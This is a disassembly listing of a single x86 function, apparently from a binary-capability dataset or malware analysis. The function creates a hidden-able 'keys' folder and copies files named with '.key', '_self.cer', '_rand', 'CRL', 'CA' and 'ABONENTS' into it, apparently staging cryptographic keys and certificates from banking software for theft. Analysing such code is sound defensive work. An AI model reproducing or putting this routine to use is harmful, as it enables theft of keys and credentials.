Function at 0x10017590
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push 0x104
lea eax, [ebp - 0x228]
push 0
push eax
mov dword [0x10056278], 0
call sub.ntdll.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x100175c0
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x228], cl
inc eax
test cl, cl
jne 0x100175c0
push 0x10058858
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10058858
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100175e4
push ebx
push esi
push edi
lea edi, [ebp - 0x228]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100175f7
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x228]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10017616
mov ecx, dword [str.keys]
mov dl, byte [0x10048aa8]
mov dword [eax], ecx
mov byte [eax + 4], dl
push 0
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10017668
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10017661
lea ecx, [ebp - 0x228]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x104
lea edx, [ebp - 0x124]
push 0
push edx
call sub.ntdll.dll_memset
mov eax, dword [ebp + 8]
lea esi, [ebp - 0x124]
add esp, 0xc
sub esi, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10017690
lea eax, [ebp - 0x124]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100176a1
mov ecx, dword [str..key]
mov dx, word [0x10048ae4]
mov edi, dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov dword [eax], ecx
mov cl, byte [0x10048ae6]
mov word [eax + 4], dx
mov byte [eax + 6], cl
xor eax, eax
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x124]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov word [ebp - 4], ax
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x228]
mov ecx, 0x414
mov ebx, 2
push edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], ebx
mov word [ebp - 0x10], cx
call edi
test eax, eax
jne 0x10017a2b
push 0x104
push eax
lea eax, [ebp - 0x124]
push eax
call sub.ntdll.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
nop
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10017730
lea eax, [ebp - 0x124]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10017741
mov ecx, dword [str._self.cer]
mov edx, dword [0x10048aec]
mov dword [eax], ecx
mov cx, word [0x10048af0]
mov dword [eax + 4], edx
mov word [eax + 8], cx
xor eax, eax
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x124]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov word [ebp - 4], ax
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x228]
mov ecx, 0x414
push edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], ebx
mov word [ebp - 0x10], cx
call edi
test eax, eax
jne 0x10017a2b
push 0x104
push eax
lea eax, [ebp - 0x124]
push eax
call sub.ntdll.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x100177c4
lea eax, [ebp - 0x124]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100177d5
mov ecx, dword [str._rand]
mov dx, word [0x10048af8]
mov dword [eax], ecx
mov cl, byte [0x10048afa]
mov word [eax + 4], dx
mov byte [eax + 6], cl
xor eax, eax
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x124]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov word [ebp - 4], ax
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x228]
mov ecx, 0x414
push edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], ebx
mov word [ebp - 0x10], cx
call edi
test eax, eax
jne 0x10017a2b
push 0x104
push eax
lea eax, [ebp - 0x124]
push eax
call sub.ntdll.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10017858
lea eax, [ebp - 0x124]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10017870
mov ecx, dword [str.CRL]
mov dx, word [0x10048b00]
mov dword [eax], ecx
mov word [eax + 4], dx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov word [ebp - 4], ax
lea eax, [ebp - 0x124]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x228]
mov edx, 0x414
push eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], ebx
mov word [ebp - 0x10], dx
call edi
test eax, eax
jne 0x10017a2b
push 0x104
push eax
lea ecx, [ebp - 0x124]
push ecx
call sub.ntdll.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
lea ebx, [ebx]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x100178f0
lea eax, [ebp - 0x124]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10017901
mov edx, dword [str.CA]
mov cl, byte [0x10048b08]
mov dword [eax], edx
mov byte [eax + 4], cl
xor eax, eax
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x124]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov word [ebp - 4], ax
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x228]
mov ecx, 0x414
push edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], ebx
mov word [ebp - 0x10], cx
call edi
test eax, eax
jne 0x10017a2b
push 0x104
push eax
lea eax, [ebp - 0x124]
push eax
call sub.ntdll.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10017980
lea eax, [ebp - 0x124]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10017991
mov ecx, dword [str.ABONENTS]
mov edx, dword [0x10048b10]
mov dword [eax], ecx
mov cx, word [0x10048b14]
mov dword [eax + 4], edx
mov dl, byte [0x10048b16]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov word [ebp - 4], ax
lea eax, [ebp - 0x124]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x228]
mov edx, 0x414
push eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], ebx
mov word [ebp - 0x10], dx
call edi
test eax, eax
jne 0x10017a2b
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x228]
push ecx
push edx
call fcn.10024550
test eax, eax
je 0x10017a2b
lea eax, [ebp - 0x228]
push eax
call fcn.100072b0
mov dword [0x10056278], 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8